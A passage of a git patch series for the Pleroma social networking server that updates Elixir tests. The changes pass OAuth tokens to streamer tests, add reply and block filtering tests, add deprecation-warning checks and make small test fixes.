Streamer.get_topic_and_add_socket("user", user, oauth_token) Streamer.stream("user", notify) + assert_receive {:render_with_user, _, _, ^notify} refute Streamer.filtered_by_user?(user, notify) end - test "it sends notify to in the 'user:notification' stream", %{user: user, notify: notify} do - Streamer.get_topic_and_add_socket("user:notification", user) + test "it sends notify to in the 'user:notification' stream", %{ + user: user, + token: oauth_token, + notify: notify + } do + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) Streamer.stream("user:notification", notify) + assert_receive {:render_with_user, _, _, ^notify} refute Streamer.filtered_by_user?(user, notify) end - test "it sends chat messages to the 'user:pleroma_chat' stream", %{user: user} do + test "it sends chat messages to the 'user:pleroma_chat' stream", %{ + user: user, + token: oauth_token + } do other_user = insert(:user) {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") @@ -187,7 +261,7 @@ defmodule Pleroma.Web.StreamerTest do cm_ref = MessageReference.for_chat_and_object(chat, object) cm_ref = %{cm_ref | chat: chat, object: object} - Streamer.get_topic_and_add_socket("user:pleroma_chat", user) + Streamer.get_topic_and_add_socket("user:pleroma_chat", user, oauth_token) Streamer.stream("user:pleroma_chat", {user, cm_ref}) text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) @@ -196,7 +270,7 @@ defmodule Pleroma.Web.StreamerTest do assert_receive {:text, ^text} end - test "it sends chat messages to the 'user' stream", %{user: user} do + test "it sends chat messages to the 'user' stream", %{user: user, token: oauth_token} do other_user = insert(:user) {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") @@ -205,7 +279,7 @@ defmodule Pleroma.Web.StreamerTest do cm_ref = MessageReference.for_chat_and_object(chat, object) cm_ref = %{cm_ref | chat: chat, object: object} - Streamer.get_topic_and_add_socket("user", user) + Streamer.get_topic_and_add_socket("user", user, oauth_token) Streamer.stream("user", {user, cm_ref}) text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) @@ -214,7 +288,10 @@ defmodule Pleroma.Web.StreamerTest do assert_receive {:text, ^text} end - test "it sends chat message notifications to the 'user:notification' stream", %{user: user} do + test "it sends chat message notifications to the 'user:notification' stream", %{ + user: user, + token: oauth_token + } do other_user = insert(:user) {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey") @@ -223,19 +300,21 @@ defmodule Pleroma.Web.StreamerTest do Repo.get_by(Pleroma.Notification, user_id: user.id, activity_id: create_activity.id) |> Repo.preload(:activity) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) Streamer.stream("user:notification", notify) + assert_receive {:render_with_user, _, _, ^notify} refute Streamer.filtered_by_user?(user, notify) end test "it doesn't send notify to the 'user:notification' stream when a user is blocked", %{ - user: user + user: user, + token: oauth_token } do blocked = insert(:user) {:ok, _user_relationship} = User.block(user, blocked) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) {:ok, activity} = CommonAPI.post(user, %{status: ":("}) {:ok, _} = CommonAPI.favorite(blocked, activity.id) @@ -244,14 +323,15 @@ defmodule Pleroma.Web.StreamerTest do end test "it doesn't send notify to the 'user:notification' stream when a thread is muted", %{ - user: user + user: user, + token: oauth_token } do user2 = insert(:user) {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) {:ok, _} = CommonAPI.add_mute(user, activity) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) @@ -260,12 +340,13 @@ defmodule Pleroma.Web.StreamerTest do end test "it sends favorite to 'user:notification' stream'", %{ - user: user + user: user, + token: oauth_token } do user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) assert_receive {:render_with_user, _, "notification.json", notif} @@ -274,13 +355,14 @@ defmodule Pleroma.Web.StreamerTest do end test "it doesn't send the 'user:notification' stream' when a domain is blocked", %{ - user: user + user: user, + token: oauth_token } do user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) {:ok, user} = User.block_domain(user, "hecking-lewd-place.com") {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) refute_receive _ @@ -288,7 +370,8 @@ defmodule Pleroma.Web.StreamerTest do end test "it sends follow activities to the 'user:notification' stream", %{ - user: user + user: user, + token: oauth_token } do user_url = user.ap_id user2 = insert(:user) @@ -303,7 +386,7 @@ defmodule Pleroma.Web.StreamerTest do %Tesla.Env{status: 200, body: body} end) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) {:ok, _follower, _followed, follow_activity} = CommonAPI.follow(user2, user) assert_receive {:render_with_user, _, "notification.json", notif} @@ -312,51 +395,53 @@ defmodule Pleroma.Web.StreamerTest do end end - test "it sends to public authenticated" do - user = insert(:user) - other_user = insert(:user) + describe "public streams" do + test "it sends to public (authenticated)" do + %{user: user, token: oauth_token} = oauth_access(["read"]) + other_user = insert(:user) - Streamer.get_topic_and_add_socket("public", other_user) + Streamer.get_topic_and_add_socket("public", user, oauth_token) - {:ok, activity} = CommonAPI.post(user, %{status: "Test"}) - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(user, activity) - end + {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(other_user, activity) + end - test "works for deletions" do - user = insert(:user) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) + test "it sends to public (unauthenticated)" do + user = insert(:user) - Streamer.get_topic_and_add_socket("public", user) + Streamer.get_topic_and_add_socket("public", nil, nil) - {:ok, _} = CommonAPI.delete(activity.id, other_user) - activity_id = activity.id - assert_receive {:text, event} - assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) - end + {:ok, activity} = CommonAPI.post(user, %{status: "Test"}) + activity_id = activity.id + assert_receive {:text, event} + assert %{"event" => "update", "payload" => payload} = Jason.decode!(event) + assert %{"id" => ^activity_id} = Jason.decode!(payload) - test "it sends to public unauthenticated" do - user = insert(:user) + {:ok, _} = CommonAPI.delete(activity.id, user) + assert_receive {:text, event} + assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) + end - Streamer.get_topic_and_add_socket("public", nil) + test "handles deletions" do + %{user: user, token: oauth_token} = oauth_access(["read"]) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) - {:ok, activity} = CommonAPI.post(user, %{status: "Test"}) - activity_id = activity.id - assert_receive {:text, event} - assert %{"event" => "update", "payload" => payload} = Jason.decode!(event) - assert %{"id" => ^activity_id} = Jason.decode!(payload) + Streamer.get_topic_and_add_socket("public", user, oauth_token) - {:ok, _} = CommonAPI.delete(activity.id, user) - assert_receive {:text, event} - assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) + {:ok, _} = CommonAPI.delete(activity.id, other_user) + activity_id = activity.id + assert_receive {:text, event} + assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) + end end - describe "thread_containment" do + describe "thread_containment/2" do test "it filters to user if recipients invalid and thread containment is enabled" do Pleroma.Config.put([:instance, :skip_thread_containment], false) author = insert(:user) - user = insert(:user) + %{user: user, token: oauth_token} = oauth_access(["read"]) User.follow(user, author, :follow_accept) activity = @@ -368,7 +453,7 @@ defmodule Pleroma.Web.StreamerTest do ) ) - Streamer.get_topic_and_add_socket("public", user) + Streamer.get_topic_and_add_socket("public", user, oauth_token) Streamer.stream("public", activity) assert_receive {:render_with_user, _, _, ^activity} assert Streamer.filtered_by_user?(user, activity) @@ -377,7 +462,7 @@ defmodule Pleroma.Web.StreamerTest do test "it sends message if recipients invalid and thread containment is disabled" do Pleroma.Config.put([:instance, :skip_thread_containment], true) author = insert(:user) - user = insert(:user) + %{user: user, token: oauth_token} = oauth_access(["read"]) User.follow(user, author, :follow_accept) activity = @@ -389,7 +474,7 @@ defmodule Pleroma.Web.StreamerTest do ) ) - Streamer.get_topic_and_add_socket("public", user) + Streamer.get_topic_and_add_socket("public", user, oauth_token) Streamer.stream("public", activity) assert_receive {:render_with_user, _, _, ^activity} @@ -400,6 +485,7 @@ defmodule Pleroma.Web.StreamerTest do Pleroma.Config.put([:instance, :skip_thread_containment], false) author = insert(:user) user = insert(:user, skip_thread_containment: true) + %{token: oauth_token} = oauth_access(["read"], user: user) User.follow(user, author, :follow_accept) activity = @@ -411,7 +497,7 @@ defmodule Pleroma.Web.StreamerTest do ) ) - Streamer.get_topic_and_add_socket("public", user) + Streamer.get_topic_and_add_socket("public", user, oauth_token) Streamer.stream("public", activity) assert_receive {:render_with_user, _, _, ^activity} @@ -420,23 +506,26 @@ defmodule Pleroma.Web.StreamerTest do end describe "blocks" do - test "it filters messages involving blocked users" do - user = insert(:user) + setup do: oauth_access(["read"]) + + test "it filters messages involving blocked users", %{user: user, token: oauth_token} do blocked_user = insert(:user) {:ok, _user_relationship} = User.block(user, blocked_user) - Streamer.get_topic_and_add_socket("public", user) + Streamer.get_topic_and_add_socket("public", user, oauth_token) {:ok, activity} = CommonAPI.post(blocked_user, %{status: "Test"}) assert_receive {:render_with_user, _, _, ^activity} assert Streamer.filtered_by_user?(user, activity) end - test "it filters messages transitively involving blocked users" do - blocker = insert(:user) + test "it filters messages transitively involving blocked users", %{ + user: blocker, + token: blocker_token + } do blockee = insert(:user) friend = insert(:user) - Streamer.get_topic_and_add_socket("public", blocker) + Streamer.get_topic_and_add_socket("public", blocker, blocker_token) {:ok, _user_relationship} = User.block(blocker, blockee) @@ -458,8 +547,9 @@ defmodule Pleroma.Web.StreamerTest do end describe "lists" do - test "it doesn't send unwanted DMs to list" do - user_a = insert(:user) + setup do: oauth_access(["read"]) + + test "it doesn't send unwanted DMs to list", %{user: user_a, token: user_a_token} do user_b = insert(:user) user_c = insert(:user) @@ -468,7 +558,7 @@ defmodule Pleroma.Web.StreamerTest do {:ok, list} = List.create("Test", user_a) {:ok, list} = List.follow(list, user_b) - Streamer.get_topic_and_add_socket("list", user_a, %{"list" => list.id}) + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) {:ok, _activity} = CommonAPI.post(user_b, %{ @@ -479,14 +569,13 @@ defmodule Pleroma.Web.StreamerTest do refute_receive _ end - test "it doesn't send unwanted private posts to list" do - user_a = insert(:user) + test "it doesn't send unwanted private posts to list", %{user: user_a, token: user_a_token} do user_b = insert(:user) {:ok, list} = List.create("Test", user_a) {:ok, list} = List.follow(list, user_b) - Streamer.get_topic_and_add_socket("list", user_a, %{"list" => list.id}) + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) {:ok, _activity} = CommonAPI.post(user_b, %{ @@ -497,8 +586,7 @@ defmodule Pleroma.Web.StreamerTest do refute_receive _ end - test "it sends wanted private posts to list" do - user_a = insert(:user) + test "it sends wanted private posts to list", %{user: user_a, token: user_a_token} do user_b = insert(:user) {:ok, user_a} = User.follow(user_a, user_b) @@ -506,7 +594,7 @@ defmodule Pleroma.Web.StreamerTest do {:ok, list} = List.create("Test", user_a) {:ok, list} = List.follow(list, user_b) - Streamer.get_topic_and_add_socket("list", user_a, %{"list" => list.id}) + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) {:ok, activity} = CommonAPI.post(user_b, %{ @@ -520,8 +608,9 @@ defmodule Pleroma.Web.StreamerTest do end describe "muted reblogs" do - test "it filters muted reblogs" do - user1 = insert(:user) + setup do: oauth_access(["read"]) + + test "it filters muted reblogs", %{user: user1, token: user1_token} do user2 = insert(:user) user3 = insert(:user) CommonAPI.follow(user1, user2) @@ -529,34 +618,38 @@ defmodule Pleroma.Web.StreamerTest do {:ok, create_activity} = CommonAPI.post(user3, %{status: "I'm kawen"}) - Streamer.get_topic_and_add_socket("user", user1) + Streamer.get_topic_and_add_socket("user", user1, user1_token) {:ok, announce_activity} = CommonAPI.repeat(create_activity.id, user2) assert_receive {:render_with_user, _, _, ^announce_activity} assert Streamer.filtered_by_user?(user1, announce_activity) end - test "it filters reblog notification for reblog-muted actors" do - user1 = insert(:user) + test "it filters reblog notification for reblog-muted actors", %{ + user: user1, + token: user1_token + } do user2 = insert(:user) CommonAPI.follow(user1, user2) CommonAPI.hide_reblogs(user1, user2) {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) - Streamer.get_topic_and_add_socket("user", user1) + Streamer.get_topic_and_add_socket("user", user1, user1_token) {:ok, _announce_activity} = CommonAPI.repeat(create_activity.id, user2) assert_receive {:render_with_user, _, "notification.json", notif} assert Streamer.filtered_by_user?(user1, notif) end - test "it send non-reblog notification for reblog-muted actors" do - user1 = insert(:user) + test "it send non-reblog notification for reblog-muted actors", %{ + user: user1, + token: user1_token + } do user2 = insert(:user) CommonAPI.follow(user1, user2) CommonAPI.hide_reblogs(user1, user2) {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) - Streamer.get_topic_and_add_socket("user", user1) + Streamer.get_topic_and_add_socket("user", user1, user1_token) {:ok, _favorite_activity} = CommonAPI.favorite(user2, create_activity.id) assert_receive {:render_with_user, _, "notification.json", notif} @@ -564,27 +657,28 @@ defmodule Pleroma.Web.StreamerTest do end end - test "it filters posts from muted threads" do - user = insert(:user) - user2 = insert(:user) - Streamer.get_topic_and_add_socket("user", user2) - {:ok, user2, user, _activity} = CommonAPI.follow(user2, user) - {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - {:ok, _} = CommonAPI.add_mute(user2, activity) - assert_receive {:render_with_user, _, _, ^activity} - assert Streamer.filtered_by_user?(user2, activity) + describe "muted threads" do + test "it filters posts from muted threads" do + user = insert(:user) + %{user: user2, token: user2_token} = oauth_access(["read"]) + Streamer.get_topic_and_add_socket("user", user2, user2_token) + + {:ok, user2, user, _activity} = CommonAPI.follow(user2, user) + {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) + {:ok, _} = CommonAPI.add_mute(user2, activity) + + assert_receive {:render_with_user, _, _, ^activity} + assert Streamer.filtered_by_user?(user2, activity) + end end describe "direct streams" do - setup do - :ok - end + setup do: oauth_access(["read"]) - test "it sends conversation update to the 'direct' stream", %{} do - user = insert(:user) + test "it sends conversation update to the 'direct' stream", %{user: user, token: oauth_token} do another_user = insert(:user) - Streamer.get_topic_and_add_socket("direct", user) + Streamer.get_topic_and_add_socket("direct", user, oauth_token) {:ok, _create_activity} = CommonAPI.post(another_user, %{ @@ -602,11 +696,11 @@ defmodule Pleroma.Web.StreamerTest do assert last_status["pleroma"]["direct_conversation_id"] == participation.id end - test "it doesn't send conversation update to the 'direct' stream when the last message in the conversation is deleted" do - user = insert(:user) + test "it doesn't send conversation update to the 'direct' stream when the last message in the conversation is deleted", + %{user: user, token: oauth_token} do another_user = insert(:user) - Streamer.get_topic_and_add_socket("direct", user) + Streamer.get_topic_and_add_socket("direct", user, oauth_token) {:ok, create_activity} = CommonAPI.post(another_user, %{ @@ -629,10 +723,12 @@ defmodule Pleroma.Web.StreamerTest do refute_receive _ end - test "it sends conversation update to the 'direct' stream when a message is deleted" do - user = insert(:user) + test "it sends conversation update to the 'direct' stream when a message is deleted", %{ + user: user, + token: oauth_token + } do another_user = insert(:user) - Streamer.get_topic_and_add_socket("direct", user) + Streamer.get_topic_and_add_socket("direct", user, oauth_token) {:ok, create_activity} = CommonAPI.post(another_user, %{ -- cgit v1.2.3 From f2f0a0260f00e316f62d42e766787b20cc92601a Mon Sep 17 00:00:00 2001 From: lain Date: Mon, 21 Sep 2020 16:08:38 +0200 Subject: ActivityPub: Don't block-filter your own posts We are filtering out replies to people you block, but that should not include your own posts. --- .../mastodon_api/controllers/timeline_controller_test.exs | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) (limited to 'test') diff --git a/test/web/mastodon_api/controllers/timeline_controller_test.exs b/test/web/mastodon_api/controllers/timeline_controller_test.exs index 517cabcff..c6e0268fd 100644 --- a/test/web/mastodon_api/controllers/timeline_controller_test.exs +++ b/test/web/mastodon_api/controllers/timeline_controller_test.exs @@ -114,8 +114,16 @@ defmodule Pleroma.Web.MastodonAPI.TimelineControllerTest do {:ok, _reply_from_friend} = CommonAPI.post(friend, %{status: "status", in_reply_to_status_id: reply_from_blockee}) - res_conn = get(conn, "/api/v1/timelines/public") - [%{"id" => ^activity_id}] = json_response_and_validate_schema(res_conn, 200) + # Still shows replies from yourself + {:ok, %{id: reply_from_me}} = + CommonAPI.post(blocker, %{status: "status", in_reply_to_status_id: reply_from_blockee}) + + response = + get(conn, "/api/v1/timelines/public") + |> json_response_and_validate_schema(200) + + assert length(response) == 2 + [%{"id" => ^reply_from_me}, %{"id" => ^activity_id}] = response end test "doesn't return replies if follow is posting with users from blocked domain" do -- cgit v1.2.3 From 0b728ccc4411677f1117f8e01d6f49aa4476c7ff Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 21 Sep 2020 15:05:46 -0500 Subject: Pass hackney tls config into email tests, #2101 --- test/user_test.exs | 7 ++++++- test/web/admin_api/controllers/admin_api_controller_test.exs | 7 ++++++- 2 files changed, 12 insertions(+), 2 deletions(-) (limited to 'test') diff --git a/test/user_test.exs b/test/user_test.exs index 301d8f05e..9cabb501c 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -509,7 +509,12 @@ defmodule Pleroma.UserTest do cng = User.register_changeset(%User{}, @full_user_data) {:ok, registered_user} = User.register(cng) ObanHelpers.perform_all() - assert_email_sent(Pleroma.Emails.UserEmail.account_confirmation_email(registered_user)) + + Pleroma.Emails.UserEmail.account_confirmation_email(registered_user) + # temporary hackney fix until hackney max_connections bug is fixed + # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 + |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) + |> assert_email_sent() end test "it requires an email, name, nickname and password, bio is optional when account_activation_required is enabled" do diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index dbf478edf..f1e9b8938 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -1927,7 +1927,12 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do }" ObanHelpers.perform_all() - assert_email_sent(Pleroma.Emails.UserEmail.account_confirmation_email(first_user)) + + Pleroma.Emails.UserEmail.account_confirmation_email(first_user) + # temporary hackney fix until hackney max_connections bug is fixed + # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 + |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) + |> assert_email_sent() end end -- cgit v1.2.3 From bf181ca96850f3e5baaf8f3dcd6e11b926fcdeeb Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 21 Sep 2020 16:03:22 -0500 Subject: Fix MastoAPI.AuthControllerTest, json_response(:no_content) --> empty_json_response() --- .../web/mastodon_api/controllers/auth_controller_test.exs | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) (limited to 'test') diff --git a/test/web/mastodon_api/controllers/auth_controller_test.exs b/test/web/mastodon_api/controllers/auth_controller_test.exs index 4fa95fce1..bf2438fe2 100644 --- a/test/web/mastodon_api/controllers/auth_controller_test.exs +++ b/test/web/mastodon_api/controllers/auth_controller_test.exs @@ -61,7 +61,7 @@ defmodule Pleroma.Web.MastodonAPI.AuthControllerTest do end test "it returns 204", %{conn: conn} do - assert json_response(conn, :no_content) + assert empty_json_response(conn) end test "it creates a PasswordResetToken record for user", %{user: user} do @@ -91,7 +91,7 @@ defmodule Pleroma.Web.MastodonAPI.AuthControllerTest do assert conn |> post("/auth/password?nickname=#{user.nickname}") - |> json_response(:no_content) + |> empty_json_response() ObanHelpers.perform_all() token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) @@ -112,7 +112,7 @@ defmodule Pleroma.Web.MastodonAPI.AuthControllerTest do assert conn |> post("/auth/password?nickname=#{user.nickname}") - |> json_response(:no_content) + |> empty_json_response() end end @@ -125,24 +125,21 @@ defmodule Pleroma.Web.MastodonAPI.AuthControllerTest do test "it returns 204 when user is not found", %{conn: conn, user: user} do conn = post(conn, "/auth/password?email=nonexisting_#{user.email}") - assert conn - |> json_response(:no_content) + assert empty_json_response(conn) end test "it returns 204 when user is not local", %{conn: conn, user: user} do {:ok, user} = Repo.update(Ecto.Changeset.change(user, local: false)) conn = post(conn, "/auth/password?email=#{user.email}") - assert conn - |> json_response(:no_content) + assert empty_json_response(conn) end test "it returns 204 when user is deactivated", %{conn: conn, user: user} do {:ok, user} = Repo.update(Ecto.Changeset.change(user, deactivated: true, local: true)) conn = post(conn, "/auth/password?email=#{user.email}") - assert conn - |> json_response(:no_content) + assert empty_json_response(conn) end end -- cgit v1.2.3 From ee3052a2d8fda37e27f31c8d824ce7ac174b993c Mon Sep 17 00:00:00 2001 From: lain Date: Tue, 22 Sep 2020 14:20:19 +0200 Subject: ActivityPub: Return Announces when filtering by `following`. --- test/web/activity_pub/activity_pub_test.exs | 80 +++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) (limited to 'test') diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 7bdad3810..804305a13 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -2177,4 +2177,84 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do assert user.nickname == orig_user.nickname end end + + describe "reply filtering" do + test "`following` still contains announcements by friends" do + user = insert(:user) + followed = insert(:user) + not_followed = insert(:user) + + User.follow(user, followed) + + {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) + + {:ok, not_followed_to_followed} = + CommonAPI.post(not_followed, %{ + status: "Also hello", + in_reply_to_status_id: followed_post.id + }) + + {:ok, retoot} = CommonAPI.repeat(not_followed_to_followed.id, followed) + + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_filtering_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:announce_filtering_user, user) + |> Map.put(:user, user) + + activities = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + followed_post_id = followed_post.id + retoot_id = retoot.id + + assert [%{id: ^followed_post_id}, %{id: ^retoot_id}] = activities + + assert length(activities) == 2 + end + + # This test is skipped because, while this is the desired behavior, + # there seems to be no good way to achieve it with the method that + # we currently use for detecting to who a reply is directed. + # This is a TODO and should be fixed by a later rewrite of the code + # in question. + @tag skip: true + test "`following` still contains self-replies by friends" do + user = insert(:user) + followed = insert(:user) + not_followed = insert(:user) + + User.follow(user, followed) + + {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) + {:ok, not_followed_post} = CommonAPI.post(not_followed, %{status: "Also hello"}) + + {:ok, _followed_to_not_followed} = + CommonAPI.post(followed, %{status: "sup", in_reply_to_status_id: not_followed_post.id}) + + {:ok, _followed_self_reply} = + CommonAPI.post(followed, %{status: "Also cofe", in_reply_to_status_id: followed_post.id}) + + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_filtering_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:announce_filtering_user, user) + |> Map.put(:user, user) + + activities = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + assert length(activities) == 2 + end + end end -- cgit v1.2.3 From 0e0ece251af9f85d80968df5b43fe49b85f35434 Mon Sep 17 00:00:00 2001 From: Egor Kislitsyn Date: Tue, 22 Sep 2020 16:55:40 +0400 Subject: Filter out internal users by default --- test/user/query_test.exs | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 test/user/query_test.exs (limited to 'test') diff --git a/test/user/query_test.exs b/test/user/query_test.exs new file mode 100644 index 000000000..e2f5c7d81 --- /dev/null +++ b/test/user/query_test.exs @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.QueryTest do + use Pleroma.DataCase, async: true + + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.User.Query + alias Pleroma.Web.ActivityPub.InternalFetchActor + + import Pleroma.Factory + + describe "internal users" do + test "it filters out internal users by default" do + %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() + + assert [_user] = User |> Repo.all() + assert [] == %{} |> Query.build() |> Repo.all() + end + + test "it filters out users without nickname by default" do + insert(:user, %{nickname: nil}) + + assert [_user] = User |> Repo.all() + assert [] == %{} |> Query.build() |> Repo.all() + end + + test "it returns internal users when enabled" do + %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() + insert(:user, %{nickname: nil}) + + assert %{internal: true} |> Query.build() |> Repo.aggregate(:count) == 2 + end + end +end -- cgit v1.2.3 From e2dcf039d24b1606c90cea75ef11c79b7677c209 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 22 Sep 2020 11:15:40 -0500 Subject: Fix gun_pool_options deprecation warning message --- test/config/deprecation_warnings_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index e22052404..7f0d2a298 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -74,7 +74,7 @@ defmodule Pleroma.Config.DeprecationWarningsTest do assert capture_log(fn -> DeprecationWarnings.check_gun_pool_options() end) =~ - "Your config is using old setting name `await_up_timeout` instead of `connect_timeout`" + "Your config is using old setting `config :pleroma, :connections_pool, await_up_timeout`." end test "pool timeout" do -- cgit v1.2.3 From 25bdf0d0d95bf748f10c43d569640794a8a0d4c7 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 22 Sep 2020 11:19:29 -0500 Subject: Add test for welcome message format --- test/config/deprecation_warnings_test.exs | 8 ++++++++ 1 file changed, 8 insertions(+) (limited to 'test') diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index 7f0d2a298..e8140f58e 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -66,6 +66,14 @@ defmodule Pleroma.Config.DeprecationWarningsTest do end) =~ "Your config is using old format (only domain) for MediaProxy whitelist option" end + test "check_welcome_message_config/0" do + clear_config([:instance, :welcome_user_nickname], "LainChan") + + assert capture_log(fn -> + DeprecationWarnings.check_welcome_message_config() + end) =~ "Your config is using the old namespace for Welcome messages configuration." + end + describe "check_gun_pool_options/0" do test "await_up_timeout" do config = Config.get(:connections_pool) -- cgit v1.2.3 From 7775b1540f47f792f0afa7c49a2cf058e2f6470e Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 22 Sep 2020 11:22:15 -0500 Subject: Add deprecation warning test for check_hellthread_threshold/0 --- test/config/deprecation_warnings_test.exs | 8 ++++++++ 1 file changed, 8 insertions(+) (limited to 'test') diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index e8140f58e..0efc0843c 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -74,6 +74,14 @@ defmodule Pleroma.Config.DeprecationWarningsTest do end) =~ "Your config is using the old namespace for Welcome messages configuration." end + test "check_hellthread_threshold/0" do + clear_config([:mrf_hellthread, :threshold], 16) + + assert capture_log(fn -> + DeprecationWarnings.check_hellthread_threshold() + end) =~ "You are using the old configuration mechanism for the hellthread filter." + end + describe "check_gun_pool_options/0" do test "await_up_timeout" do config = Config.get(:connections_pool) -- cgit v1.2.3 From 88653c01c92fffb396e32edad203d18607980c04 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 22 Sep 2020 11:34:51 -0500 Subject: Add test for check_activity_expiration_config/0 --- test/config/deprecation_warnings_test.exs | 8 ++++++++ 1 file changed, 8 insertions(+) (limited to 'test') diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index 0efc0843c..28355d7eb 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -82,6 +82,14 @@ defmodule Pleroma.Config.DeprecationWarningsTest do end) =~ "You are using the old configuration mechanism for the hellthread filter." end + test "check_activity_expiration_config/0" do + clear_config([Pleroma.ActivityExpiration, :enabled], true) + + assert capture_log(fn -> + DeprecationWarnings.check_activity_expiration_config() + end) =~ "Your config is using old namespace for activity expiration configuration." + end + describe "check_gun_pool_options/0" do test "await_up_timeout" do config = Config.get(:connections_pool) -- cgit v1.2.3 From 8e4f043ac72e4236f5690f34e3bdc7ce288005e6 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Tue, 22 Sep 2020 21:58:30 +0300 Subject: finland-emojis.zip -> emojis.zip --- test/emoji/pack_test.exs | 8 ++++---- test/fixtures/emojis.zip | Bin 0 -> 1446 bytes test/fixtures/finland-emojis.zip | Bin 460250 -> 0 bytes .../controllers/emoji_file_controller_test.exs | 4 ++-- 4 files changed, 6 insertions(+), 6 